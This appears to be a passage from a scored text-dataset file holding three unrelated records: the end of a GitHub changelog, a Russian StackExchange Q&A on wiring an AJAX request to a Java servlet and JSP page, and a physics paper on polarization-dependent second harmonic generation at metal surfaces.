"5f698df434133d12b7c6027a197db634b91ace53), resolves #15, resolves #129, resolves #348\n- Platform-specific stdlib steup (1cecae9de1919486f34241f379248ed402b4fa96)\n- Changelog added\n\n### Fixes\n- Nest comments (32b0f3abd1beb55cd28c369ad74b79e677248cc7) resolves #403\n- Stdlib: Implement correctly rounded sqrt (4/4/4), (PR #424, thanks [@statementreply](https://github.com/statementreply))\n\n### Examples\n- New example \"DrawHeart\" (PR #410, thanks [@BHMulberry](https://github.com/BHMulberry))"
] | {
"pile_set_name": "Github"
} | [
0.0007184487185440958,
0.0008008375880308449,
0.0006439951830543578,
0.0005581563455052674,
0.0006630215211771429,
0.0006340475520119071,
0.0006189310224726796,
0.0015820158878341317,
0.001776618999429047,
0.0009803141001611948,
0.0006156062008813024,
0.0005868923617526889,
0.0005711504491046071,
0.0008353266748599708,
0.0009484997717663646,
0.0009702796232886612,
0.000635934469755739,
0.0005451363394968212,
0.000855651858728379,
0.000646246422547847,
0.0006808722391724586,
0.0007872914429754019,
0.0005844281986355782,
0.0006147449603304267,
0.0005659717135131359,
0.0008262205519713461,
0.0006547031225636601,
0.0006727066356688738,
0.0008944855653680861,
0.0006701911333948374,
0.0006651556468568742,
0.0005764422239735723,
0.0012735376367345452,
0.0008709460380487144,
0.0010378198930993676,
0.0007445563096553087,
0.0008961692219600081,
0.0007517353515140712,
0.0008225274505093694,
0.0006136973388493061,
0.000876039732247591,
0.0008500086260028183,
0.0006773493951186538,
0.000656553020235151,
0.0007822191109880805,
0.0006346172885969281,
0.0006470684893429279,
0.0006277274223975837,
0.0007146768039092422,
0.0006910621887072921,
0.0012979827588424087
] | 0.000781 | 51 |
[
"Q:\n\nКак реализовать ajax запрос с Servlet API и JSP?",
"\n\nУ меня есть JSP страница, которая выглядит так\n\nМне нужно обновить таблицу при вводе поискового запроса или при выборе сортировки.",
"\nПри отправке запроса на сервлет, он возвращает ArrayList<Product>. ",
"Класс Productимеет следующую структуру\npublic class Product {\n private AtomicReference<String> id;\n private String description;\n private BigDecimal price;\n private Currency currency;\n private int stock;\n private String imageUrl;\n}\n\nВот код JSP файла:\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ taglib prefix=\"fmt\" uri=\"http://java.sun.com/jsp/jstl/fmt\" %>\n<%@ taglib prefix=\"tags\" tagdir=\"/WEB-INF/tags\" %>\n\n<jsp:useBean id=\"products\" type=\"java.util.",
"ArrayList\" scope=\"request\"/>\n<tags:master pageTitle=\"Product List\">\n <form>\n <input name = \"query\" value = \"${param.query}\">\n <button>Search</button>\n </form>\n <table>\n <thead>\n <tr>\n <td>Image</td>\n <td>Description\n <tags:sort sort = \"description\" order = \"asc\"/>\n <tags:sort sort = \"description\" order = \"desc\"/>\n </td>\n <td class=\"price\">Price\n <tags:sort sort = \"price\" order = \"asc\"/>\n <tags:sort sort = \"price\" order = \"desc\"/>\n </td>\n </tr>\n </thead>\n <c:forEach var=\"product\" items=\"${products}\">\n <tr>\n <td>\n <img class=\"product-tile\" src=\"https://raw.githubusercontent.com/andrewosipenko/phoneshop-ext-images/master/${product.imageUrl}\">\n </td>\n <td>\n <a href = \"products/${product.id}\">${product.description}</a>\n </td>\n <td class=\"price\">\n <fmt:formatNumber value=\"${product.price}\" type=\"currency\" currencySymbol=\"${product.currency.symbol}\"/>\n </td>\n </tr>\n </c:forEach>\n </table>\n</tags:master>\n\nЯ не понимаю, как связать ajax-запрос с сервлетом и как определить тип возвращаемого значения в запросе. ",
"У меня была идея: сделать метод, который бы парсил данный класс в форму json-объекта\n{\n \"id#1\" {\n \"Img\" : \"https://...\",\n \"Price\" : 100,\n \"CurrSymb\" : \"$\"\n },\n\n \"id#2\" {\n \"Img\" : \"https://...\",\n \"Price\" : 125,\n \"CurrSymb\" : \"$\"\n },\n ...\n}\n\nА как потом правильно обработать я не знаю.",
"\n\nA:\n\nЧтобы связать ajax-запрос с сервлетом, надо написать сервлет, который возвращает JSON. ",
"Например здесь.",
"\nТам есть какая-то кнопка, которая запускает ajax-запрос к сервлету. ",
"Если сервлет определяет тип контента \"Content-Type: application/json\" в заголовке ответа, то вы получите JSON объект в качестве возвращаемого значения и его уже можно распарчить в цикле для получения значений полей таблицы. ",
"Ведь таблицу надо будет перерисовывать с помощью js. ",
"\nТут сразу возникает проблема как генерировать HTML таблицу с помощью JavaScript или использовать готовые виджеты. ",
"Вот пример создания таблицы.",
"\n\n"
] | {
"pile_set_name": "StackExchange"
} | [
0.0010611431207507849,
0.004679505247622728,
0.0009281031670980155,
0.0008479445823468268,
0.0008549746125936508,
0.0011062140110880136,
0.0011049216846004128,
0.0011863766703754663,
0.0019923788495361805,
0.001160508138127625,
0.002453588182106614,
0.003625133540481329,
0.001140885055065155,
0.001995444530621171
] | 0.001724 | 14 |
[
"---\nabstract: 'We show that the nonlinear optical response reflects sensitively the electronic structure of transition-metal surfaces and interfaces. ",
"$d$ and $s$ electrons may contribute rather differently to the second harmonic generation (SHG) signal. ",
"This results from the different sensitivity of $d$ and $s$ electrons to surface and symmetry changes. ",
"Consequently, SHG for noble metals shows a by far larger dependence on the polarization of the incoming light than for transition metals like Fe, Co, Ni, in particular at lower frequencies. ",
"The theoretical results are compared with recent measurements. ",
"We conclude that the SHG yield is in addition to the nonlinear magneto-optical Kerr-effect a sensitive fingerprint of the electronic structure at surfaces and interfaces.'",
"\naddress: 'Physics Department, Freie Universität Berlin, Arnimallee 14, D-14195 Berlin, Germany'\nauthor:\n- 'W. Hübner, K. H. Bennemann, and K. Böhmer'\ntitle: 'Theory for the Nonlinear Optical Response of Transition Metals: Polarization Dependence as a Fingerprint of the Electronic Structure at Surfaces and Interfaces'\n---\n\n= 10000\n\n[**I. Introduction**]{}\\\nRecently, the nonlinear optical response of metallic surfaces has been studied intensively. ",
"The theoretical analysis uses typically the free-electron approximation or the jellium model [@bloem; @liebsch]. ",
"Clearly, this must be extended for studying the nonlinear optical response of transition metals and for analyzing $d$- vs. $s$-electron contributions to optical second harmonic generation (SHG). ",
"Here, we present such a theory by treating the electrons using a tight-binding like model which has been successful in analyzing the nonlinear magneto-optical Kerr-effect (NOLIMOKE) [@hub]. ",
"As a result of the different localization of $s$- and $d$- wavefunctions and associated different sensitivity with respect to surfaces and interfaces and symmetry changes, we find that the wavelength and polarization dependence of the SH light on the incoming light is rather different for noble metals such as Cu, Ag, Au and for transition metals such as Ni, Co, Fe, and Cr, in particular at lower frequencies.",
"\n\nDenoting by $I_{\\alpha }(\\beta -SH)$ the yield of $\\beta $-polarized second harmonic light resulting from $\\alpha $-polarized incoming light, then quite general theoretical arguments predict that for transition metals involving $d$-electron transitions $$I_{p}(p-SH)\\stackrel{>}{\\sim} I_{s}(p-SH)\\;,$$ while $$I_{p}(p-SH)\\gg I_{s}(p-SH)\\approx 0\\;,$$ if only $s$-$p$ electronic transitions are occurring. ",
"Hence, for noble metals $I_{p}(p-SH)\\gg I_{s}(p-SH)\\approx 0$ for light frequencies $\\omega $ which do not permit $d$-electronic transitions, e. g. $\\hbar\\omega \\;<\\;(\\varepsilon_{F}\\;-\\;\\varepsilon_{d}^{max})$. Here, $\\varepsilon_{F}$ is the Fermi energy and $\\varepsilon_{d}^{max}$ refers to the upper edge of the occupied $d$-band. ",
"However, for $\\hbar\\omega \\;\\geq\\;(\\varepsilon_{F}\\;-\\;\\varepsilon_{d}^{max})$ noble metals will behave more and more like transition metals.",
"\n\nThis behavior results from the fact that for $s$ (and $p$) electrons one gets for the dipole matrix elements controlling the nonlinear optical response $\\langle s\\mid x\\mid s \\rangle\\;\\approx \\; 0$ and $\\langle s\\mid z\\mid s \\rangle\\;\\neq \\; 0$, and furthermore $\\langle d\\mid z\\mid d \\rangle\\;\\geq \\;\\langle d\\mid x\\mid d \\rangle$ for transitions involving $d$-electrons. ",
"The coordinates $z$ and $x$ refer to directions perpendicular and parallel to the surface, see Fig. ",
"1. ",
"This behavior of the nonlinear optical response is in agreement with recent experimental observations [@petro; @klaus; @klausdiss]. ",
"To understand the effect of the matrix elements on the nonlinear optical response in more detail, note that the nonlinear optical response is given by $$P_{i}\\;=\\;\\chi^{(2)}_{ijl}E_{j}E_{l},$$ where $P_{i}$ is the i-th component of the polarizability and where the susceptibility tensor $\\chi^{(2)}_{ijl}$ is determined within an electronic theory using response theory [@hub]. ",
"Thus, the SHG yield is determined by $$I_{\\alpha }(\\beta -SH)\\sim \\mid\\sum_{ijl}\\chi_{ijl}^{(2)}\\mid^{2}$$ neglecting for simplicity at the moment Fresnel and transmission coefficients. ",
"The nonlinear susceptibility is now of the form $$\\chi^{(2)}_{ijl} \\;=\\; \\sum_{k k^{\\prime } k^{\\prime\n\\prime }}\\langle k\\mid i\\mid k^{\\prime }\\rangle\\;\n\\langle k^{\\prime }\\mid j\\mid k^{\\prime \\prime}\\rangle\\;\\langle\nk^{\\prime \\prime }\\mid l\\mid k\\rangle\\;F_{k k^{\\prime } k^{\\prime\n\\prime }}(\\omega ,2\\omega )\\;,$$ where $\\langle k\\mid i\\mid k^{\\prime }\\rangle$ is the usual dipole-matrix element involving electronic transitions between $s$, $p$, and $d$ states $k$ and $k^{\\prime }$. ",
"Note, as a result of inversion symmetry breaking at surfaces and interfaces $s\\longrightarrow (s,p)$, $s\\longrightarrow d$, and $d\\longrightarrow d$ transitions occur [@note]. ",
"The function $F_{k k^{\\prime } k^{\\prime\n\\prime }}(\\omega )$ collects all other factors (energy denominators and Fermi functions) and gives essentially the doubly convoluted density of states [@note1]. ",
"Decomposing $\\chi^{(2)}_{ijl}$ with respect to the electronic transitions one gets $$\\chi^{(2)}_{ijl}\\;=\\;\\chi^{(2)s}_{ijl}\\;+\\;\\chi^{(2)d}_{ijl}\n\\;+\\;\\chi^{(2)int}_{ijl},$$ with $\\chi^{(2)int}_{ijl}$ involving only $s,p\\longrightarrow d$ transitions, while $\\chi^{(2)s}_{ijl}$ involves only $s\\longrightarrow s$ transitions and $\\chi^{(2)d}_{ijl}$ involves only $d\\longrightarrow d$ transitions. ",
"It can be shown that due to the dipole matrix elements the various contributions to the tensor elements $\\chi^{(2)}_{ijl}$ are of different magnitude, see table I. This will simplify the analysis.",
"\n\nUsing now for a simplified treatment of the wave functions the atomic basis set of ref.",
" [@hub], we calculate the dipole matrix elements. ",
"Results are listed in table I. Thus, we get typically for transition metals $\\chi^{(2)d}_{ijl} \\gg\\chi^{(2)s}_{ijl}$, and for noble metals $\\chi^{(2)}_{ijl}\\approx\\chi^{(2)s}_{ijl}$, if $\\hbar \\omega \\;<\\;(\\varepsilon_{F}-\\varepsilon_{d}^{max})$. As a consequence, one estimates for noble metals with $\\hbar \\omega \\;<\\;(\\varepsilon_{F}-\\varepsilon_{d}^{max})$ that due to $\\langle s\\mid x\\mid s \\rangle\\;\\approx \\; 0$: $$I_{p}(p-SH)\\gg I_{s}(p-SH)\\;,\\;I_{s}(p-SH)\\approx 0\\;.$$ Furthermore, for transition metals we estimate: $$I_{\\alpha }(\\beta -SH)\\sim \\mid\\sum_{ijl}\\chi_{ijl}^{(2)d}\\mid^{2}\\;,$$ and thus $$I_{p}(p-SH)\\;\\stackrel{>}{\\sim}\\; 3 I_{s}(p-SH),$$ since $\\langle d\\mid z\\mid d \\rangle\\;\\stackrel{>}{\\sim}\\;\\langle d\\mid x\\mid d\n\\rangle$, see table I.\n\nThis behavior of the second harmonic intensity $I_{\\alpha }(\\beta -SH)$ is in accordance with recent experiments [@petro; @klaus; @klausdiss] and shows already clearly that the SHG yield reflects sensitively the electronic structure of noble metals and transition metals at surfaces. ",
"Of course, this is of great interest not only for surface studies, but also for the investigation of thin films and interfaces. ",
"Note, for a more-detailed study of the polarization dependence of $I_{\\alpha }(p-SH)$, with $\\alpha $ varying from $p$ to $s$, Fresnel and transmission coefficients have to be included to determine the SHG yield.\\\nIn section II we present a simplified theory for the polarization dependence of the nonlinear optical response which may serve as a basis also for further extensive studies. ",
"In section III we present results and compare with recent experiments.\\\n\\\n[**II. ",
"Theory**]{}\\\nThat the SHG yield is a sensitive fingerprint of the electronic structure at surfaces and interfaces becomes obvious from the polarization dependence of the SHG light intensity $I_{\\alpha }(\\beta -SH)$. Here, $\\alpha $ refers to the polarization of the incoming light. ",
"In order to determine more accurately and in detail this intensity $I_{\\alpha }(\\beta -SH )$ of the $\\beta $-polarized SHG light at frequency 2$\\omega $, note that the reflected light at frequency $2\\omega $ is given as shown by Böhmer [*et al.*]{}",
" [@klaus; @klausdiss] for C$_{4v}$ symmetry without magnetization by\n\n$$\\begin{aligned}\n&&E^{(2\\omega)}(\\Phi,\\varphi)\\;=\n\\;2i(\\frac{\\omega}{c})\\mid E^{(\\omega)}_{0}\\mid^{2}\n\\times\\nonumber\\\\\n&&\\left( \\begin{array}{c}\nA_{p}F_{c}\\cos\\Phi\\\\\nA_{s}\\sin\\Phi\\\\\nA_{p}N^{2}F_{s}\\cos\\Phi\n\\end{array}\\right)\n\\left( \\begin{array}{cccccc}\n0&0&0&\\mid\\;0&0&\\chi^{(2)}_{xzx}\\\\\n0&0&0&\\mid\\;0&\\chi^{(2)}_{xzx}&0\\\\\n\\chi^{(2)}_{zxx}&\\chi^{(2)}_{zxx}&\\chi^{(2)}_{zzz}&\\mid\\;0&0&0\n\\end{array}\\right)\n\\left( \\begin{array}{c}\nf_{c}^{2}t_{p}^{2}\\cos^{2}\\varphi\\\\\nt_{s}^{2}\\sin^{2}\\varphi\\\\\nf_{s}^{2}t_{p}^{2}\\cos^{2}\\varphi\\\\\n2f_{s}t_{p}t_{s}\\cos\\varphi\\sin\\varphi\\\\\n2f_{c}f_{s}t_{p}^{2}\\cos^{2}\\varphi\\\\\n2f_{c}t_{p}t_{s}\\cos\\varphi\\sin\\varphi\n\\end{array}\\right).\\end{aligned}$$\n\nHere, $\\Phi $ and $\\varphi $ denote the angles of polarization of the reflected frequency doubled and of the incident light (see Fig. ",
"1). ",
"$f_{c,s}$ are Fresnel coefficients and $t_{s,p}$ are the linear transmission coefficients. ",
"The complex indices of refraction at frequencies $\\omega $ and 2$\\omega $ are $n\\;=\\;n_{1}\\;+\\;ik_{1}$ and $N\\;=\\;n_{2}\\;+\\;ik_{2}$. The projections of the incident wave vector [**k**]{} on the spatial coordinates inside the medium are $f_{s}\\;=\\;\\sin\\theta/n$ and $f_{c}\\;=\n\\;\\sqrt{1-f_{s}^{2}}$. The corresponding quantities for the reflected SHG light are $F_{s}\\;=\\;\\sin\\Theta/N$ and $F_{c}\\;=\\;\\sqrt{1-F_{s}^{2}}$, where $\\theta $ and $\\Theta $ denote the angle of incidence of the incoming light and the angle of reflection of the reflected SHG light, respectively. ",
"The linear transmission coefficients are given by [@klaus; @klausdiss; @sipe] $$t_{p}\\;=\\;\\frac{2\\cos\\theta}{n\\cos\\theta+f_{c}}\\;,\n\\;\\;t_{s}\\;=\\;\\frac{2\\cos\\theta}{\\cos\\theta + nf_{c}}\n\\;,\\;\\;T_{p}\\;=\\;\\frac{2\\cos\\Theta}{N\\cos\\Theta+F_{c}}\\;,\n\\;\\;T_{s}\\;=\\;\\frac{2\\cos\\Theta}{\\cos\\Theta + NF_{c}}\n\\;.$$ The corresponding amplitudes $A_{p}$ and $A_{s}$ in Eq. (",
"10) are $$A_{p}=\\frac{2\\pi T_{p}}{\\cos\\Theta}\\;,$$ and $$A_{s}=\\frac{2\\pi\nT_{s}}{\\cos\\Theta}\\;,$$ respectively. ",
"From Eq. (",
"10) one gets directly the intensity $I(\\Phi,\\varphi)$ of the reflected SHG light: $I(\\Phi,\\varphi)\\;=\\;\\mid E^{(2\\omega)}(\\Phi,\\varphi)\\mid ^{2}$. Thus, one obtains for $p$-polarized SHG with vacuum permittivity $\\varepsilon$ and vacuum permeability $\\mu_{0}$ $$\\begin{aligned}\nI_{\\alpha }(p-SH)\\;&&=\\;2\\sqrt{\\frac{\\vareps_{0}}{\\mu_{0}}}\n\\mid (2i\\frac{\\omega}{c})\\mid^{2}\\mid\nE_{0}(\\omega)\\mid^{4}\\mid A_{p}((F_{c}\\chi^{(2)}_{xzx}\n2f_{c}f_{s}+N^{2}F_{s}(\\chi^{(2)}_{zxx}f_{c}^{2}+\\chi^{(2)}_{zzz}f_{s}^{2}))\nt_{p}^{2}\\cos^{2}\\varphi\\;\\nonumber \\\\\n&&+\\;\nN^{2}F_{s}\\chi^{(2)}_{zxx}t_{s}^{2}\\sin^{2}\\varphi)\\mid^{2}\\;,\\end{aligned}$$ and for $s$-polarized SHG $$\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!",
"\n\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!",
"\nI_{\\alpha }(s-SH)\\;=\\;2\\sqrt{\\frac{\\vareps_{0}}{\\mu_{0}}}\n\\mid (2i\\frac{\\omega}{c})\\mid^{2}\\mid\nE_{0}(\\omega)\\mid^{4}\\mid A_{s}\\chi^{(2)}_{xzx}\n2f_{s}t_{p}t_{s}\\cos\\varphi\\sin\\varphi\\mid^{2}.$$ Here, $I_{\\alpha }(\\beta-SH)$ denotes the intensity of $\\beta $-polarized reflected light at frequency 2$\\omega $ resulting from $\\alpha $-polarized incoming light ($\\alpha $ = $p,s,\\varphi=\\pi/4)$. In particular, one gets for $p$-polarized incident and $p$-polarized reflected SHG light $$I_{p}(p-SH)\\;=\\;2\\sqrt{\\frac{\\vareps_{0}}{\\mu_{0}}}\n\\mid (2\\frac{\\omega}{c})\\mid^{2}\\mid\nE_{0}(\\omega)\\mid^{4}\\mid A_{p}t_{p}^{2}(F_{c}\\chi^{(2)}_{xzx}\n2f_{c}f_{s}+N^{2}F_{s}(\\chi^{(2)}_{zxx}f_{c}^{2}+\\chi^{(2)}_{zzz}f_{s}^{2}))\n\\mid^{2}\\;,$$ and for $s$-polarized incident and $p$-polarized reflected SHG light $$I_{s}(p-SH)\\;=\\;2\\sqrt{\\frac{\\vareps_{0}}{\\mu_{0}}}\n\\mid (2\\frac{\\omega}{c})\\mid^{2}\\mid\nE_{0}(\\omega)\\mid^{4}\\mid A_{p}N^{2}F_{s}\\chi^{(2)}_{zxx}t_{s}^{2}\\mid^{2}\\;,$$ and furthermore for “mixed”-polarized (45$^{\\circ }$ polarization) incident and $s$-polarized SHG light $$I_{\\varphi =\\pi/4}(s-SH)\\;=\\;2\\sqrt{\\frac{\\vareps_{0}}{\\mu_{0}}}\n\\mid (\\frac{\\omega}{c})\\mid^{2}\\mid\nE_{0}(\\omega)\\mid^{4}\\mid A_{s}\\chi^{(2)}_{xzx}\n2f_{s}t_{p}t_{s}\\mid^{2}\\;.$$ The response in the latter two configurations is determined by one single tensor element $\\chi^{(2)}_{zxx}$ and $\\chi^{(2)}_{xzx}$, respectively. ",
"Then we get for an incidence angle of 45 $^{\\circ}$ for the ratio $I_{p}(p-SH)/I_{s}(p-SH)$ the result $$\\frac{I_{p}(p-SH)}{I_{s}(p-SH)}\\;=\\;\\mid\\frac{(F_{c}\\chi^{(2)}_{xzx}\n2f_{c}f_{s}+N^{2}F_{s}\\chi^{(2)}_{zzz}f_{s}^{2})^{2}t_{p}^{4}}\n{N^{4}F_{s}^{2}\\chi^{(2)2}_{zxx}t_{s}^{4}}\\mid,$$ where the contribution from $\\chi^{(2)}_{zxx}$ has been neglected in the numerator. ",
"Note, this tensor element has been experimentally determined from $I_{\\varphi =\\pi/4}(s-SHG)$ and has been found to be at least three times smaller than the other two tensor elements (see below). ",
"Eq. (",
"17) holds also for noble metals.",
"\n\nIt follows now from Eq.(18) that $s$ and $d$ electrons contribute rather differently to the intensity of SHG light:\n\nFirst, for noble metals like Cu, Ag, Au one gets using Eq. (",
"16) due to\\\n$\\chi^{(2)}_{ijl} \\sim \\langle s\\mid i\\mid s\\rangle\\;\n\\langle s\\mid j\\mid s\\rangle\\;\\langle s\\mid l\\mid s\\rangle$ and $\\langle s\\;\\mid x\\mid\\;s\\rangle\\;=\\;0$ $$I_{s}(p-SH)\\;=\\;0,$$ if the light frequency $\\omega $ is such that $\\hbar\\omega \\;<\\;(\\varepsilon_{F}\\;-\\;\\varepsilon_{d}^{max})$ implying that no transitions involving $d$-states occur. ",
"Note, $\\chi_{zxx}^{(2)}$ in Eq. (",
"16) involves the matrix elements $\\langle s \\mid x \\mid s\\rangle $ and these are nearly zero. ",
"Hence, for noble metals $$\\frac{I_{s}(p-SH)}{I_{p}(p-SH)}\\;\\longrightarrow \\;0,$$ if the optical response does not involve $d$ state transitions. ",
"Thus, Eqs. (",
"18) and (20) suggest a very sensitive test of the quantity ($\\varepsilon_{F}\\;-\\;\\varepsilon_{d}^{max}$) and of many-body contributions to this. ",
"Comparison with results from bandstructure calculations may help to identify correlation effects.",
"\n\nIf the frequency $\\omega $ increases, then for $\\hbar\\omega \\;\\geq\\;(\\varepsilon_{F}\\;-\\;\\varepsilon_{d}^{max})$ also $s\\longrightarrow d$ and $d\\longrightarrow d$ transitions contribute and $$I_{s}(p-SH)\\sim \\mid\\sum_{ijl}t_{s}^{2}F_{s}\\chi_{zxx}^{(2)d}\\mid^{2}\n\\;+\\;\\mid\\sum_{ijl}t_{s}^{2}F_{s}\\chi_{zxx}^{(2)s}\\mid^{2}\\;+\\;\\ldots\\;.$$ Hence, for increasing frequency $\\omega $, $I_{s}(p-SH)$ is no longer (nearly) zero, increases and $I_{s}(p-SH)\\longrightarrow I_{p}(p-SH)$ as for transition metals.",
"\n\nSecondly, for transition metals like Fe, Co, Ni, Cr, we estimate in contrast to noble metals for all frequencies $\\omega $, that $$I_{p}(p-SH)\\;\\stackrel{>}{\\sim}\\;I_{s}(p-SH).$$ For example, for the Ni(001) surface, using $\\hbar \\omega \\;=\\;2.056$ eV ($\\lambda $ = 603 nm) and for the optical constants [@jc] $n_{1}=1.98$, $k_{1}=3.92$, $n_{2}=2.02$, and $k_{2}=2.18$, we find using Eq. (",
"17) for $\\theta $ = 45 $^{\\circ}$ $$0.75\\leq\\frac{I_{p}(p-SH)}{I_{s}(p-SH)}\\leq 6.7,$$ if we allow the relative phase of the tensor elements $\\chi^{(2)}_{zzz}$ and $\\chi^{(2)}_{xzx}$ to vary between 0 and 2$\\pi $. ",
"This result gives already a reasonable account of the experimentally observed ratio of 1.25.",
"\n\nNote, the estimate of the ratio $I_{p}(p-SH)/I_{s}(p-SH)$ was obtained only on the basis of symmetry considerations for the matrix elements in $\\chi^{(2)}_{ijl}$ and by approximating these by atomic orbital matrix elements. ",
"Of course, for discussing systematically the nonlinear optical response of different noble and transition metals we have to include density of states effects resulting from the function $F_{k k^{\\prime } k^{\\prime\n\\prime }}(\\omega )$. ",
"How much this matters can be seen from results for $\\chi^{(2)}_{zxx}/\\chi^{(2)}_{xzx}$. This ratio should be equal to one if $F_{k k^{\\prime } k^{\\prime\\prime }}(\\omega )$ plays no role. ",
"This corresponds to the case of perfect Kleinman symmetry [@klein]. ",
"However, note that in $\\chi^{(2)}_{ijl}$ the indices $j,l$ refer to $\\omega $ photon transitions, while $i$ belongs to the $2\\omega $ photon transition . ",
"This fact can be rather important, for example, for analyzing differences between noble metals and transition metals. ",
"For transition metals $\\chi^{(2)}_{xjl}$ is rather unfavorable for the SHG yield, since $s \\;\\longrightarrow \\;s$ transitions at frequency 2$\\omega $ may occur and reduce the intensity $I_{\\varphi=\\pi/4}(s-SH)$ due to $\\langle s\\;\\mid x\\mid\\;s\\rangle\\;\\ll\\;\\langle d\\;\\mid x\\mid\\;d\\rangle $, see for illustation Figs. ",
"2c and 2d. ",
"In contrast, for noble metals $\\chi^{(2)}_{xjl}$ is favorable for the SHG yield, if the transitions at frequency $\\omega $ involve $s \\;\\longrightarrow \\;s$ transitions only and if $d \\;\\longrightarrow \\;s$ transitions at frequency 2$\\omega $ come into play. ",
"The situation is illustrated in Figs. ",
"2a and 2b. ",
"Thus, the deviation from Kleinman’s symmetry of the ratio $\\chi^{(2)}_{zxx}/\\chi^{(2)}_{xzx}$ is interesting, a fingerprint of density of states effects, and reflects to some extent the contribution of $d$ electrons to the optical transitions and the degree of localization of the Fermi-level electrons. ",
"Experimentally this ratio ranges from less than 0.013 for Al (with no $d$ electrons) over 0.085 for Cu (where the upper $d$-band edge is 1.9 eV below the Fermi-level) and 0.33 for Au (where the upper $d$-band edge is 1.8 eV below the Fermi-level) to 0.35 for Ni [@klaus] (with a large density of $d$- electrons at the Fermi level). ",
"For the determination of the ratio $\\chi^{(2)}_{zxx}/\\chi^{(2)}_{xzx}$ see remarks below.",
"\n\nAs can be seen from the large range of values for the ratio $\\frac{I_{p}(p-SH)}{I_{s}(p-SH)}$ in Eq. (",
"23), it is very important for a quantitative analysis to include not only the symmetry properties of the dipole matrix elements, but also the phases, since the tensor elements $\\chi^{(2)}_{ijl}$ are complex quantities. ",
"As a result, important interference contributions may occur and change the results obtained from a coherent superposition of the partial intensities given by $\\mid\\chi^{(2)}_{ijl}\\mid$ alone. ",
"For a full analysis one has to perform an electronic calculation of $\\chi^{(2)}_{ijl}$ as done previously by Pustogowa [*et al.*]{}",
" [@hub]. ",
"To compare theory and experiment, the latter has to be performed for several optical geometries to allow for a complete determination of the absolute values and phases of $\\chi^{(2)}_{ijl}$.\n\nIn determining the phases at least approximately we may proceed as follows. ",
"To see how the two relative phases between the three tensor elements $\\chi^{(2)}_{zzz}$, $\\chi^{(2)}_{xzx}$ and $\\chi^{(2)}_{zxx}$ entering $I_{\\alpha }(p-SH)$ come into play, we rewrite Eq. (",
"13) as $$\\begin{aligned}\nI_{\\alpha }(p-SH)\\;&&=\\;\\mid (2i\\frac{\\omega}{c})\\mid^{2}\\mid\nE_{0}(\\omega)\\mid^{4}\\mid A_{p}\\chi^{(2)}_{zzz}([F_{c}\\frac{\\chi^{(2)}_{xzx}}\n{\\chi^{(2)}_{zzz}}\n2f_{c}f_{s}+N^{2}F_{s}(\\frac{\\chi^{(2)}_{zxx}}{\\chi^{(2)}_{zzz}}\nf_{c}^{2}+f_{s}^{2})]\nt_{p}^{2}\\cos^{2}\\varphi\\;\\nonumber\\\\\n&&+\\;\nN^{2}F_{s}\\frac{\\chi^{(2)}_{zxx}}{\\chi^{(2)}_{zzz}}\nt_{s}^{2}\\sin^{2}\\varphi)\\mid^{2},\\end{aligned}$$ with $$\\frac{\\chi^{(2)}_{xzx}}{\\chi^{(2)}_{zzz}}\\;=\n\\;\\mid\\frac{\\chi^{(2)}_{xzx}}{\\chi^{(2)}_{zzz}}\\mid e^{i\\varphi_{1}}$$ and $$\\;\\;\\;\\;\\;\\frac{\\chi^{(2)}_{zxx}}{\\chi^{(2)}_{zzz}}\\;=\n\\;\\mid\\frac{\\chi^{(2)}_{zxx}}{\\chi^{(2)}_{zzz}}\\mid e^{i\\varphi_{2}}.$$ Now, the two absolute ratios $\\mid\\frac{\\chi^{(2)}_{xzx}}{\\chi^{(2)}_{zzz}}\\mid$ and $\\mid\\frac{\\chi^{(2)}_{zxx}}{\\chi^{(2)}_{zzz}}\\mid$ and the two relative phases $\\varphi_{1}$ and $\\varphi_{2}$ remain to be determined. ",
"As can be seen from Eqs. (",
"16) and (17), the intensities $I_{\\varphi =\\pi/4}(s-SHG)$ and $I_{s}(p-SHG)$ depend exclusively on one single nonlinear tensor element each, $\\chi^{(2)}_{xzx}$ and $\\chi^{(2)}_{zxx}$, respectively. ",
"Thus, the intensity ratio $$\\frac{I_{\\varphi =\\pi/4}(s-SH)}{I_{s}(p-SH)}\\;,$$ which may be taken from experiment, gives directly the absolute ratio $\\mid\\chi_{xzx}^{(2)}/\\chi_{zxx}^{(2)}\\mid $. ",
"Using for example for $I_{\\varphi =\\pi/4}(s-SH)/I_{s}(p-SH)$ the experimental value and the appropriate linear optical constants of Ni one gets $$\\mid\\frac{\\chi_{xzx}^{(2)}}{\\chi_{zxx}^{(2)}}\\mid \\;=\\;1/0.35\\;\\approx 2.8.$$ Similarly, we calculate (1/0.013) for Al, (1/0.085) for Cu, and (1/0.33) for Au.",
"\n\nTo obtain the remaining relative phases $\\varphi_{1}$ and $\\varphi_{2}$, and the absolute ratio $\\mid\\chi_{xzx}^{(2)}/\\chi_{zzz}^{(2)}\\mid $ one may use the results for the $p$-polarized SHG-yield for incident $p$ polarized light. ",
"Note, according to Eq. (",
"15), $I_{p}(p-SH)$ involves a superposition of all three independent nonvanishing tensor elements $\\chi_{zzz}^{(2)}$, $\\chi_{xzx}^{(2)}$ and $\\chi_{zxx}^{(2)}$. Keeping $F_{k k^{\\prime} k^{\\prime \\prime}}(\\omega ,2\\omega )$ fixed, we may calculate all surface transition matrix elements entering $\\chi_{ijl}^{(2)}$ within an basis set of atomic $4s$, $4p$, and $3d$ wave functions. ",
"Using these matrix elements (see table I), the decomposition of the nonlinear tensor $\\chi ^{(2)}_{ijl} $ in Eq. (",
"6) and Eq. (",
"8) together with the partial $p$ polarized SHG yields for transition metals in table II, gives us for Ni the absolute ratio $$\\mid\\frac{\\chi_{xzx}^{(2)}}{\\chi_{zzz}^{(2)}}\\mid\\;=\\;\\frac{3}{5}.$$ It follows then from Eqs. (",
"16) and (17) that the remaining absolute ratio is $$\\mid\\frac{\\chi_{zxx}^{(2)}}{\\chi_{zzz}^{(2)}}\\mid\\;=\\;\n\\mid\\frac{\\chi_{zxx}^{(2)}}{\\chi_{xzx}^{(2)}}\\mid\n\\mid\\frac{\\chi_{xzx}^{(2)}}{\\chi_{zzz}^{(2)}}\\mid\\;=\\;0.35\\;\\cdot\\;\\frac{3}{5}\n\\;=\\;0.21.$$ Using then Eqs. (",
